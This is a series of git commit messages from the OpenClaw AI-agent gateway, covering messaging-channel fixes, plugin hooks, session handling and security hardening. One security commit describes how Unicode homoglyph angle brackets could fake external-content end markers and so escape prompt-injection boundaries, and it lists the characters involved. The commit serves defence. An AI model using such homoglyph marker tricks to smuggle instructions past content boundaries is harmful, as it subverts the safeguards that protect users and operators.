tags were never detected. Changed to `match[1] === "</"`. This was
causing `inCode/inPre/inAnchor` to stay stuck at true after any
opening tag, breaking file ref wrapping after closing tags.
- **Removed double `wrapFileReferencesInHtml` call**: `renderTelegramHtmlText`
was calling `markdownToTelegramHtml` (which wraps) then wrapping again.
### Test coverage (+12 tests, 26 total)
- `.sh` filenames (original issue #6932 mentioned backup.sh)
- Auto-linkified anchor replacement
- Auto-linkified path anchor replacement
- Explicit link preservation (different label)
- File ref after closing anchor tag (exercises isClosing fix)
- Multiple file types in single message
- Real URL preservation
- Explicit markdown link preservation
- File ref after real URL in same message
- Chunked output file ref wrapping
Closes#6932
* test(telegram): add comprehensive edge case coverage for file ref wrapping
Add 16 edge case tests covering:
- File refs inside bold/italic tags
- Fenced code blocks (no double-wrap)
- Domain-like paths preserved as links (example.com/README.md)
- GitHub URLs with file paths
- wrapFileRefs: false behavior
- All TLD extensions (.ai, .io, .tv, .fm)
- Non-TLD extensions not wrapped (.png, .css, .js)
- File ref position (start, end, multiple in sequence)
- Nested paths without domain segments
- Version-like paths (v1.0/README.md wraps, example.com/v1.0/README.md links)
- Hyphens and underscores in filenames
- Uppercase extensions
* fix(telegram): use regex literal and depth counters for tag tracking
Code review fixes:
1. Replace RegExp constructor with regex literal for autoLinkedAnchor
- Avoids double-escaping issues with \s
- Uses backreference \1 to match href=label pattern directly
2. Replace boolean toggles with depth counters for tag nesting
- codeDepth, preDepth, anchorDepth track nesting levels
- Correctly handles nested tags like <pre><code>...</code></pre>
- Prevents wrapping inside any level of protected tags
Add 4 tests for edge cases:
- Nested code tags (depth tracking)
- Multiple anchor tags in sequence
- Auto-linked anchor with backreference match
- Anchor with different href/label (no match)
* fix(telegram): add escapeHtml and escapeRegex for defense in depth
Code review fixes:
1. Escape filename with escapeHtml() before inserting into <code> tags
- Prevents HTML injection if regex ever matches unsafe chars
- Defense in depth (current regex already limits to safe chars)
2. Escape extensions with escapeRegex() before joining into pattern
- Prevents regex breakage if extensions contain metacharacters
- Future-proofs against extensions like 'c++' or 'd.ts'
Add tests documenting regex safety boundaries:
- Filenames with special chars (&, <, >) don't match
- Only [a-zA-Z0-9_.\-./] chars are captured
* fix(telegram): catch orphaned single-letter TLD patterns
When text like 'R&D.md' doesn't match the main file pattern (because &
breaks the character class), the 'D.md' part can still be auto-linked
by Telegram as a domain (https://d.md/).
Add second pass to catch orphaned TLD patterns like 'D.md', 'R.io', 'X.ai'
that follow non-alphanumeric characters and wrap them in <code> tags.
Pattern: ([^a-zA-Z0-9]|^)([A-Za-z]\.(?:extensions))(?=[^a-zA-Z0-9/]|$)
Tests added:
- 'wraps orphaned TLD pattern after special character' (R&D.md → R&<code>D.md</code>)
- 'wraps orphaned single-letter TLD patterns' (X.ai, R.io)
* refactor(telegram): remove popular domain TLDs from file extension list
Remove .ai, .io, .tv, .fm from FILE_EXTENSIONS_WITH_TLD because:
- These are commonly used as real domains (x.ai, vercel.io, github.io)
- Rarely used as actual file extensions
- Users are more likely referring to websites than files
Keep: md, sh, py, go, pl (common file extensions, rarely intentional domains)
Keep: am, at, be, cc, co (less common as intentional domain references)
Update tests to reflect the change:
- Add test for supported extensions (.am, .at, .be, .cc, .co)
- Add test verifying popular TLDs stay as links
* fix(telegram): prevent orphaned TLD wrapping inside HTML tags
Code review fixes:
1. Orphaned TLD pass now checks if match is inside HTML tag
- Uses lastIndexOf('<') vs lastIndexOf('>') to detect tag context
- Skips wrapping when between < and > (inside attributes)
- Prevents invalid HTML like <a href="...&<code>D.md</code>">
2. textMode: 'html' now trusts caller markup
- Returns text unchanged instead of wrapping
- Caller owns HTML structure in this mode
Tests added:
- 'does not wrap orphaned TLD inside href attributes'
- 'does not wrap orphaned TLD inside any HTML attribute'
- 'does not wrap in HTML mode (trusts caller markup)'
* refactor(telegram): use snapshot for orphaned TLD offset clarity
Use explicit snapshot variable when checking tag positions in orphaned
TLD pass. While JavaScript's replace() doesn't mutate during iteration,
this makes intent explicit and adds test coverage for multi-TLD HTML.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(telegram): prevent orphaned TLD wrapping inside code/pre tags
- Add depth tracking for code/pre tags in orphaned TLD pass
- Fix test to expect valid HTML output
- 55 tests now covering nested tag scenarios
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(telegram): clamp depth counters and add anchor tracking to orphaned pass
- Clamp depth counters at 0 for malformed HTML with stray closing tags
- Add anchor depth tracking to orphaned TLD pass to prevent wrapping
inside link text (e.g., <a href="...">R&D.md</a>)
- 57 tests covering all edge cases
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(telegram): keep .co domains linked and wrap punctuated file refs
---------
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* feat: add before_compaction and before_reset plugin hooks with session context
- Pass session messages to before_compaction hook
- Add before_reset plugin hook for /new and /reset commands
- Add sessionId to plugin hook agent context
* feat: extraBootstrapFiles config with glob pattern support
Add extraBootstrapFiles to agent defaults config, allowing glob patterns
(e.g. "projects/*/TOOLS.md") to auto-load project-level bootstrap files
into agent context every turn. Missing files silently skipped.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(status): show custom memory plugins as enabled, not unavailable
The status command probes memory availability using the built-in
memory-core manager. Custom memory plugins (e.g. via plugin slot)
can't be probed this way, so they incorrectly showed "unavailable".
Now they show "enabled (plugin X)" without the misleading label.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: use async fs.glob and capture pre-compaction messages
- Replace globSync (node:fs) with fs.glob (node:fs/promises) to match
codebase conventions for async file operations
- Capture session.messages BEFORE replaceMessages(limited) so
before_compaction hook receives the full conversation history,
not the already-truncated list
* fix: resolve lint errors from CI (oxlint strict mode)
- Add void to fire-and-forget IIFE (no-floating-promises)
- Use String() for unknown catch params in template literals
- Add curly braces to single-statement if (curly rule)
* fix: resolve remaining CI lint errors in workspace.ts
- Remove `| string` from WorkspaceBootstrapFileName union (made all
typeof members redundant per no-redundant-type-constituents)
- Use type assertion for extra bootstrap file names
- Drop redundant await on fs.glob() AsyncIterable (await-thenable)
* fix: address Greptile review — path traversal guard + fs/promises import
- workspace.ts: use path.resolve() + traversal check in loadExtraBootstrapFiles()
- commands-core.ts: import fs from node:fs/promises, drop fs.promises prefix
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: resolve symlinks before workspace boundary check
Greptile correctly identified that symlinks inside the workspace could
point to files outside it, bypassing the path prefix check. Now uses
fs.realpath() to resolve symlinks before verifying the real path stays
within the workspace boundary.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: address Greptile review — hook reliability and type safety
1. before_compaction: add compactingCount field so plugins know both
the full pre-compaction message count and the truncated count being
fed to the compaction LLM. Clarify semantics in comment.
2. loadExtraBootstrapFiles: use path.basename() for the name field
so "projects/quaid/TOOLS.md" maps to the known "TOOLS.md" type
instead of an invalid WorkspaceBootstrapFileName cast.
3. before_reset: fire the hook even when no session file exists.
Previously, short sessions without a persisted file would silently
skip the hook. Now fires with empty messages array so plugins
always know a reset occurred.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: validate bootstrap filenames and add compaction hook timeout
- Only load extra bootstrap files whose basename matches a recognized
workspace filename (AGENTS.md, TOOLS.md, etc.), preventing arbitrary
files from being injected into agent context.
- Wrap before_compaction hook in a 30-second Promise.race timeout so
misbehaving plugins cannot stall the compaction pipeline.
- Clarify hook comments: before_compaction is intentionally awaited
(plugins need messages before they're discarded) but bounded.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: make before_compaction non-blocking, add sessionFile to after_compaction
- before_compaction is now true fire-and-forget — no await, no timeout.
Plugins that need full conversation data should persist it themselves
and return quickly, or use after_compaction for async processing.
- after_compaction now includes sessionFile path so plugins can read
the full JSONL transcript asynchronously. All pre-compaction messages
are preserved on disk, eliminating the need to block compaction.
- Removes Promise.race timeout pattern that didn't actually cancel
slow hooks (just raced past them while they continued running).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* feat: add sessionFile to before_compaction for parallel processing
The session JSONL already has all messages on disk before compaction
starts. By providing sessionFile in before_compaction, plugins can
read and extract data in parallel with the compaction LLM call rather
than waiting for after_compaction. This is the optimal path for memory
plugins that need the full conversation history.
sessionFile is also kept on after_compaction for plugins that only
need to act after compaction completes (analytics, cleanup, etc.).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* refactor: move bootstrap extras into bundled hook
---------
Co-authored-by: Solomon Steadman <solstead@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Clawdbot <clawdbot@alfie.local>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(browser): hot-reload profiles added after gateway start (#4841)
* style: format files with oxfmt
* Fix hot-reload stale config fields bug in forProfile
* Fix test order-dependency in hot-reload profiles test
* Fix mock reset order to prevent stale cfgProfiles
* Fix config cache blocking hot-reload by clearing cache before loadConfig
* test: improve hot-reload test to properly exercise config cache
- Add simulated cache behavior in mock
- Prime cache before mutating config
- Verify stale value without clearConfigCache
- Verify fresh value after hot-reload
Addresses review comment about test not exercising cache
* test: add hot-reload tests for browser profiles in server context.
* fix(browser): optimize profile hot-reload to avoid global cache clear
* fix(browser): remove unused loadConfig import
* fix(test): execute resetModules before test setup
* feat: implement browser server context with profile hot-reloading and tab management.
* fix(browser): harden profile hot-reload and shutdown cleanup
* test(browser): use toSorted in known-profile names test
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: ensure CLI exits after command completion
The CLI process would hang indefinitely after commands like
`openclaw gateway restart` completed successfully. Two root causes:
1. `runCli()` returned without calling `process.exit()` after
`program.parseAsync()` resolved, and Commander.js does not
force-exit the process.
2. `daemon-cli/register.ts` eagerly called `createDefaultDeps()`
which imported all messaging-provider modules, creating persistent
event-loop handles that prevented natural Node exit.
Changes:
- Add `flushAndExit()` helper that drains stdout/stderr before calling
`process.exit()`, preventing truncated piped output in CI/scripts.
- Call `flushAndExit()` after both `tryRouteCli()` and
`program.parseAsync()` resolve.
- Remove unnecessary `void createDefaultDeps()` from daemon-cli
registration — daemon lifecycle commands never use messaging deps.
- Make `serveAcpGateway()` return a promise that resolves on
intentional shutdown (SIGINT/SIGTERM), so `openclaw acp` blocks
`parseAsync` for the bridge lifetime and exits cleanly on signal.
- Handle the returned promise in the standalone main-module entry
point to avoid unhandled rejections.
Fixes#12904
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: refactor CLI lifecycle and lazy outbound deps (#12906) (thanks @DrCrinkle)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: defer gateway restart until all replies are sent
Fixes a race condition where gateway config changes (e.g., enabling
plugins via iMessage) trigger an immediate SIGUSR1 restart, killing the
iMessage RPC connection before replies are delivered.
Both restart paths (config watcher and RPC-triggered) now defer until
all queued operations, pending replies, and embedded agent runs complete
(polling every 500ms, 30s timeout). A shared emitGatewayRestart() guard
prevents double SIGUSR1 when both paths fire simultaneously.
Key changes:
- Dispatcher registry tracks active reply dispatchers globally
- markComplete() called in finally block for guaranteed cleanup
- Pre-restart deferral hook registered at gateway startup
- Centralized extractDeliveryInfo() for session key parsing
- Post-restart sentinel messages delivered directly (not via agent)
- config-patch distinguished from config-apply in sentinel kind
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: single-source gateway restart authorization
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Fixes#15692
The previous fix was too broad — it removed the relay for ALL isolated jobs.
This broke backwards compatibility for jobs without explicit delivery config.
The correct behavior is:
- If job.delivery exists → isolated runner handles it via runSubagentAnnounceFlow
- If only legacy payload.deliver fields → relay to main if requested (original behavior)
This addresses Greptile's review feedback about runIsolatedAgentJob being an
injected dependency that might not call runSubagentAnnounceFlow.
Uses resolveCronDeliveryPlan().source to distinguish between explicit delivery
config and legacy payload-only jobs.
When an isolated cron job delivers its output via deliverOutboundPayloads
or the subagent announce flow, the finish handler in executeJobCore
unconditionally posts a summary to the main agent session and wakes it
via requestHeartbeatNow. The main agent then generates a second response
that is also delivered to the target channel, resulting in duplicate
messages with different content.
Add a `delivered` flag to RunCronAgentTurnResult that is set to true
when the isolated run successfully delivers its output. In executeJobCore,
skip the enqueueSystemEvent + requestHeartbeatNow call when the flag is
set, preventing the main agent from waking up and double-posting.
Fixes#15692
Unlike Bash, Zsh has several "special" readonly variables (status, pipestatus, etc.) that the shell manages automatically. Shadowing them with local declarations triggers an error.
* fix(gateway): normalize session key casing to prevent ghost sessions on Linux
On case-sensitive filesystems (Linux), mixed-case session keys like
agent:ops:MySession and agent:ops:mysession resolve to different store
entries, creating ghost duplicates that never converge.
Core changes in session-utils.ts:
- resolveSessionStoreKey: lowercase all session key components
- canonicalizeSpawnedByForAgent: accept cfg, resolve main-alias references
via canonicalizeMainSessionAlias after lowercasing
- loadSessionEntry: return legacyKey only when it differs from canonicalKey
- resolveGatewaySessionStoreTarget: scan store for case-insensitive matches;
add optional scanLegacyKeys param to skip disk reads for read-only callers
- Export findStoreKeysIgnoreCase for use by write-path consumers
- Compare global/unknown sentinels case-insensitively in all canonicalization
functions
sessions-resolve.ts:
- Make resolveSessionKeyFromResolveParams async for inline migration
- Check canonical key first (fast path), then fall back to legacy scan
- Delete ALL legacy case-variant keys in a single updateSessionStore pass
Fixes#12603
* fix(gateway): propagate canonical keys and clean up all case variants on write paths
- agent.ts: use canonicalizeSpawnedByForAgent (with cfg) instead of raw
toLowerCase; use findStoreKeysIgnoreCase to delete all legacy variants
on store write; pass canonicalKey to addChatRun, registerAgentRunContext,
resolveSendPolicy, and agentCommand
- sessions.ts: replace single-key migration with full case-variant cleanup
via findStoreKeysIgnoreCase in patch/reset/delete/compact handlers; add
case-insensitive fallback in preview (store already loaded); make
sessions.resolve handler async; pass scanLegacyKeys: false in preview
- server-node-events.ts: use findStoreKeysIgnoreCase to clean all legacy
variants on voice.transcript and agent.request write paths; pass
canonicalKey to addChatRun and agentCommand
* test(gateway): add session key case-normalization tests
Cover the case-insensitive session key canonicalization logic:
- resolveSessionStoreKey normalizes mixed-case bare and prefixed keys
- resolveSessionStoreKey resolves mixed-case main aliases (MAIN, Main)
- resolveGatewaySessionStoreTarget includes legacy mixed-case store keys
- resolveGatewaySessionStoreTarget collects all case-variant duplicates
- resolveGatewaySessionStoreTarget finds legacy main alias keys with
customized mainKey configuration
All 5 tests fail before the production changes, pass after.
* fix: clean legacy session alias cleanup gaps (openclaw#12846) thanks @mcaxtr
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The Matrix channel previously hardcoded `listMatrixAccountIds` to always
return only `DEFAULT_ACCOUNT_ID`, ignoring any accounts configured in
`channels.matrix.accounts`. This prevented running multiple Matrix bot
accounts simultaneously.
Changes:
- Update `listMatrixAccountIds` to read from `channels.matrix.accounts`
config, falling back to `DEFAULT_ACCOUNT_ID` for legacy single-account
configurations
- Add `resolveMatrixConfigForAccount` to resolve config for a specific
account ID, merging account-specific values with top-level defaults
- Update `resolveMatrixAccount` to use account-specific config when
available
- The multi-account config structure (channels.matrix.accounts) was not
defined in the MatrixConfig type, causing TypeScript to not recognize
the field. Added the accounts field to properly type the multi-account
configuration.
- Add stopSharedClientForAccount() to stop only the specific account's
client instead of all clients when an account shuts down
- Wrap dynamic import in try/finally to prevent startup mutex deadlock
if the import fails
- Pass accountId to resolveSharedMatrixClient(), resolveMatrixAuth(),
and createMatrixClient() to ensure the correct account's credentials
are used for outbound messages
- Add accountId parameter to resolveMediaMaxBytes to check account-specific
config before falling back to top-level config
- Maintain backward compatibility with existing single-account setups
This follows the same pattern already used by the WhatsApp channel for
multi-account support.
Fixes#3165Fixes#3085
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(agents): wait for agent idle before flushing pending tool results
When pi-agent-core's auto-retry mechanism handles overloaded/rate-limit
errors, it resolves waitForRetry() on assistant message receipt — before
tool execution completes in the retried agent loop. This causes the
attempt's finally block to call flushPendingToolResults() while tools
are still executing, inserting synthetic 'missing tool result' errors
and causing silent agent failures.
The fix adds a waitForIdle() call before the flush to ensure the agent's
retry loop (including tool execution) has fully completed.
Evidence from real session: tool call and synthetic error were only 53ms
apart — the tool never had a chance to execute before being flushed.
Root cause is in pi-agent-core's _resolveRetry() firing on message_end
instead of agent_end, but this workaround in OpenClaw prevents the
symptom without requiring an upstream fix.
Fixes#8643Fixes#13351
Refs #6682, #12595
* test: add tests for tool result flush race condition
Validates that:
- Real tool results are not replaced by synthetic errors when they arrive in time
- Flush correctly inserts synthetic errors for genuinely orphaned tool calls
- Flush is a no-op after real tool results have already been received
Refs #8643, #13748
* fix(agents): add waitForIdle to all flushPendingToolResults call sites
The original fix only covered the main run finally block, but there are
two additional call sites that can trigger flushPendingToolResults while
tools are still executing:
1. The catch block in attempt.ts (session setup error handler)
2. The finally block in compact.ts (compaction teardown)
Both now await agent.waitForIdle() with a 30s timeout before flushing,
matching the pattern already applied to the main finally block.
Production testing on VPS with debug logging confirmed these additional
paths can fire during sub-agent runs, producing spurious synthetic
'missing tool result' errors.
* fix(agents): centralize idle-wait flush and clear timeout handle
---------
Co-authored-by: Renue Development <dev@renuebyscience.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
- Adds `activity`, `status`, `activityType`, and `activityUrl` to Discord provider config schema.
- Implements a `ReadyListener` in `DiscordProvider` to apply these settings on connection.
- Solves the issue where `@buape/carbon` ignores initial presence options in constructor.
- Validated manually and via existing test suite.
* Browser/Security: constrain trace and download output paths to temp roots
* Changelog: remove advisory ID from pre-public security note
* Browser/Security: constrain trace and download output paths to temp roots
* Changelog: remove advisory ID from pre-public security note
* test(bluebubbles): align timeout status expectation to 408
* test(discord): remove unused race-condition counter in threading test
* test(bluebubbles): align timeout status expectation to 408
Fixes#8278
When autoThread is enabled and a thread already exists (user continues
conversation in thread), replies were sometimes routing to the root
channel instead of the thread. This happened because the reply delivery
plan only explicitly set the thread target when a NEW thread was created
(createdThreadId), but not when the message was in an existing thread.
The fix adds a fallback case: when threadChannel is set (we're in an
existing thread) but no new thread was created, explicitly route to
the thread's channel ID. This ensures all thread replies go to the
correct destination.
* feat(gateway): add register and awaitDecision methods to ExecApprovalManager
Separates registration (synchronous) from waiting (async) to allow callers
to confirm registration before the decision is made. Adds grace period for
resolved entries to prevent race conditions.
* feat(gateway): add two-phase response and waitDecision handler for exec approvals
Send immediate 'accepted' response after registration so callers can confirm
the approval ID is valid. Add exec.approval.waitDecision endpoint to wait for
decision on already-registered approvals.
* fix(exec): await approval registration before returning approval-pending
Ensures the approval ID is registered in the gateway before the tool returns.
Uses exec.approval.request with expectFinal:false for registration, then
fire-and-forget exec.approval.waitDecision for the decision phase.
Fixes#2402
* test(gateway): update exec-approval test for two-phase response
Add assertion for immediate 'accepted' response before final decision.
* test(exec): update approval-id test mocks for new two-phase flow
Mock both exec.approval.request (registration) and exec.approval.waitDecision
(decision) calls to match the new internal implementation.
* fix(lint): add cause to errors, use generics instead of type assertions
* fix(exec-approval): guard register() against duplicate IDs
* fix: remove unused timeoutMs param, guard register() against duplicates
* fix(exec-approval): throw on duplicate ID, capture entry in closure
* fix: return error on timeout, remove stale test mock branch
* fix: wrap register() in try/catch, make timeout handling consistent
* fix: update snapshot on timeout, make two-phase response opt-in
* fix: extend grace period to 15s, return 'expired' status
* fix: prevent double-resolve after timeout
* fix: make register() idempotent, capture snapshot before await
* fix(gateway): complete two-phase exec approval wiring
* fix: finalize exec approval race fix (openclaw#3357) thanks @ramin-shirali
* fix(protocol): regenerate exec approval request models (openclaw#3357) thanks @ramin-shirali
* fix(test): remove unused callCount in discord threading test
---------
Co-authored-by: rshirali <rshirali@rshirali-haga.local>
Co-authored-by: rshirali <rshirali@rshirali-haga-1.home>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The Discord send action was going through the plugin handler path
which wasn't passing the silent flag to sendMessageDiscord.
- Add silent param reading in handle-action.ts
- Pass silent to handleDiscordAction
- Add silent param in discord-actions-messaging.ts sendMessage case
The @buape/carbon RequestClient wasn't setting Content-Type: application/json
for the attachments endpoint request. Use native fetch with explicit headers
for the upload URL request.
Also pass token through to sendDiscordVoiceMessage for authorization.
Adds support for sending Discord voice messages via the message tool
with asVoice: true parameter.
Voice messages require:
- OGG/Opus format (auto-converted if needed via ffmpeg)
- Waveform data (generated from audio samples)
- Duration in seconds
- Message flag 8192 (IS_VOICE_MESSAGE)
Implementation:
- New voice-message.ts with audio processing utilities
- getAudioDuration() using ffprobe
- generateWaveform() samples audio and creates base64 waveform
- ensureOggOpus() converts audio to required format
- sendDiscordVoiceMessage() handles 3-step Discord upload process
Usage:
message(action='send', channel='discord', target='...',
path='/path/to/audio.mp3', asVoice=true)
Note: Voice messages cannot include text content (Discord limitation)
The fork's OAuth token lacks the workflow scope required to push
changes to .github/workflows/. Reverting the upstream labeler.yml
change so the branch can be force-pushed. The PR merge into main
will pick up the correct upstream version automatically.
Replace bare `new Error("Command lane cleared")` with a dedicated
`CommandLaneClearedError` class so callers that fire-and-forget
enqueued tasks can catch this specific type and avoid surfacing
unhandled rejection warnings.
clearCommandLane() was truncating the queue array without calling
resolve/reject on pending entries, causing never-settling promises
and memory leaks when upstream callers await enqueueCommandInLane().
Splice entries and reject each before clearing so callers can handle
the cancellation gracefully.
When multiple agents with autoThread:true are @mentioned in the same
message, only the first agent successfully creates a thread. Subsequent
agents fail because Discord only allows one thread per message.
Previously, the failure was silently caught and the agent would fall
back to replying in the parent channel.
Now, when thread creation fails, the code re-fetches the message and
checks for an existing thread (created by another agent). If found,
the agent replies in that thread instead of falling back.
Fixes#7508
Add null checks for guild.id and guild.name when resolving Discord
entities. This prevents TypeError when processing invite links for
servers/channels the bot doesn't have cached.
Fixes#6606
* fix(daemon): preserve backslashes in parseCommandLine on Windows
Only treat backslash as escape when followed by a quote or another
backslash. Bare backslashes are kept as-is so Windows paths survive.
Fixes#15587
* fix(daemon): preserve UNC backslashes in schtasks parsing (#15642) (thanks @arosstale)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(agent): search all agent stores when resolving --session-id
When `--session-id` was provided without `--to` or `--agent`, the reverse
lookup only searched the default agent's session store. Sessions created
under a specific agent (e.g. `--agent mybot`) live in that agent's store
file, so the lookup silently failed and the session was not reused.
Now `resolveSessionKeyForRequest` iterates all configured agent stores
when the primary store doesn't contain the requested sessionId.
Fixes#12881
* fix: search other agent stores when --to key does not match --session-id
When --to derives a session key whose stored sessionId doesn't match the
requested --session-id, the cross-store search now also runs. This handles
the case where a user provides both --to and --session-id targeting a
session in a different agent's store.
* fix(inbound): preserve literal backslash-n sequences in Windows paths
The normalizeInboundTextNewlines function was converting literal backslash-n
sequences (\n) to actual newlines, corrupting Windows paths like
C:\Work\nxxx\README.md when sent through WebUI.
This fix removes the .replaceAll("\\n", "\n") operation, preserving
literal backslash-n sequences while still normalizing actual CRLF/CR to LF.
Fixes#7968
* fix(test): set RawBody to Windows path so BodyForAgent fallback chain tests correctly
* fix: tighten Windows path newline regression coverage (#11547) (thanks @mcaxtr)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The channel allowlist parser matches bare numeric strings as channel IDs
before checking for guild IDs, causing guild snowflakes to hit Discord's
/channels/ endpoint (404). Prefix guild-only entries with 'guild:' so the
parser routes them to the correct guild resolution path.
Fixes both the monitor provider and onboarding wizard call sites.
Adds regression tests.
* increase image tool maxTokens from 512 to 4096
* fix: cap image tool tokens by model capability (#11770) (thanks @detecti1)
* docs: fix changelog attribution for #11770
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* refactor: add config.get to READ_METHODS set
* refactor(gateway): scope talk secrets via talk.config
* fix: resolve rebase conflicts for talk scope refactor
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(security): sanitize error responses to prevent information leakage
Replace raw error messages in HTTP responses with generic messages.
Internal error details (stack traces, module paths, error messages)
were being returned to clients in 4 gateway endpoints.
* fix: sanitize 2 additional error response leaks in openresponses-http
Address CodeRabbit feedback: non-stream and streaming error paths in
openresponses-http.ts were still returning String(err) to clients.
* fix: add server-side error logging to sanitized catch blocks
Restore err parameter and add logWarn() calls so errors are still
captured server-side for diagnostics while keeping client responses
sanitized. Addresses CodeRabbit feedback about silently discarded errors.
# Problem
The security audit and onboarding screens suggested 'Set session.dmScope="..."'
for multi-user DM isolation. This led users to try setting the value in invalid
config paths (e.g., 'channels.imessage.dmScope').
# Changes
- Updated 'src/security/audit.ts' to use 'formatCliCommand' for dmScope remediation.
- Updated 'src/commands/doctor-security.ts' and 'src/commands/onboard-channels.ts'
to use the explicit 'openclaw config set' command format.
# Validation
- Verified text alignment with 'pnpm tsgo'.
- Confirmed CLI command formatting remains consistent across modified files.
* fix(security): default standalone servers to loopback bind (#4)
Change canvas host and telegram webhook default bind from 0.0.0.0
(all interfaces) to 127.0.0.1 (loopback only) to prevent unintended
network exposure when no explicit host is configured.
* fix: restore telegram webhook host override while keeping loopback defaults (openclaw#13184) thanks @davidrudduck
* style: format telegram docs after rebase (openclaw#13184) thanks @davidrudduck
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(security): handle additional Unicode angle bracket homoglyphs in content sanitization
The foldMarkerChar function sanitizes external content markers to
prevent prompt injection boundary escapes, but only handles fullwidth
ASCII (U+FF21-FF5A) and fullwidth angle brackets (U+FF1C/FF1E).
Add handling for additional visually similar Unicode characters that
could be used to craft fake end markers:
- Mathematical angle brackets (U+27E8, U+27E9)
- CJK angle brackets (U+3008, U+3009)
- Left/right-pointing angle brackets (U+2329, U+232A)
- Single angle quotation marks (U+2039, U+203A)
- Small less-than/greater-than signs (U+FE64, U+FE65)
* test(security): add homoglyph marker coverage
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* initial commit
* removes assesment from docs
* resolves automated review comments
* resolves lint , type , tests , refactors , and submits
* solves : why do we have to lint the tests xD
* adds greptile fixes
* solves a type error
* solves a ci error
* refactors auths
* solves a failing test after i pulled from main lol
* solves a failing test after i pulled from main lol
* resolves token naming issue to comply with better practices when using hf / huggingface
* fixes curly lints !
* fixes failing tests for google api from main
* solve merge conflicts
* solve failing tests with a defensive check 'undefined' openrouterapi key
* fix: preserve Hugging Face auth-choice intent and token behavior (#13472) (thanks @Josephrp)
* test: resolve auth-choice cherry-pick conflict cleanup (#13472)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(config): migrate audio.transcription with any CLI command
Two bugs fixed:
1. Removed CLI allowlist from mapLegacyAudioTranscription - the modern
config format has no such restriction, so the allowlist only blocked
legacy migration of valid configs like whisperx-transcribe.sh
2. Moved audio.transcription migration to a separate migration entry -
it was nested inside routing.config-v2 which early-exited when no
routing section existed
Closes#5017
* fix(macos): ensure exec approval prompt displays the command
The NSStackView and NSScrollView for the command text lacked proper
width constraints, causing the accessory view to collapse to zero
width in some cases. This fix:
1. Adds minimum width constraint (380px) to the root stack view
2. Adds minimum width constraint to the command scroll view
3. Enables vertical resizing and scrolling for long commands
4. Adds max height constraint to prevent excessively tall prompts
Closes#5038
* fix: validate legacy audio transcription migration input (openclaw#5042) thanks @shayan919293
* docs: add changelog note for legacy audio migration guard (openclaw#5042) thanks @shayan919293
* fix: satisfy lint on audio transcription migration braces (openclaw#5042) thanks @shayan919293
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* feat(gateway): add auth rate-limiting & brute-force protection
Add a per-IP sliding-window rate limiter to Gateway authentication
endpoints (HTTP, WebSocket upgrade, and WS message-level auth).
When gateway.auth.rateLimit is configured, failed auth attempts are
tracked per client IP. Once the threshold is exceeded within the
sliding window, further attempts are blocked with HTTP 429 + Retry-After
until the lockout period expires. Loopback addresses are exempt by
default so local CLI sessions are never locked out.
The limiter is only created when explicitly configured (undefined
otherwise), keeping the feature fully opt-in and backward-compatible.
* fix(gateway): isolate auth rate-limit scopes and normalize 429 responses
---------
Co-authored-by: buerbaumer <buerbaumer@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Older OpenClaw versions stored absolute sessionFile paths in sessions.json.
v2026.2.12 added path traversal security that rejected these absolute paths,
breaking all Telegram group handlers with 'Session file path must be within
sessions directory' errors.
Changes:
- resolvePathWithinSessionsDir() now normalizes absolute paths that resolve
within the sessions directory, converting them to relative before validation
- Added 3 tests for absolute path handling (within dir, with topic, outside dir)
Fixes#15283Closes#15214, #15237, #15216, #15152, #15213
Escape regex metacharacters in display names before constructing RegExp
to prevent runtime errors or unintended matches when names contain special
characters like (, ), ., +, ?, [, etc.
Add test coverage for names with regex metacharacters.
Clarify that User.Read.All permission is only needed for searching
users not in the current conversation. Mentions work out of the box
for conversation participants.
- Add mention parsing and validation logic
- Handle mention entities with proper whitespace
- Validate mention IDs to prevent false positives from code snippets
- Use fake placeholders in tests for privacy
* Agents: allow gpt-5.3-codex-spark in fallback and thinking
* Fix: model picker issue for openai-codex/gpt-5.3-codex-spark
Fixed an issue in the model picker.
* feat(slack): populate thread session with existing thread history
When a new session is created for a Slack thread, fetch and inject
the full thread history as context. This preserves conversation
continuity so the bot knows what it previously said in the thread.
- Add resolveSlackThreadHistory() to fetch all thread messages
- Add ThreadHistoryBody to context payload
- Use thread history instead of just thread starter for new sessions
Fixes#4470
* chore: remove redundant comments
* fix: use threadContextNote in queue body
* fix(slack): address Greptile review feedback
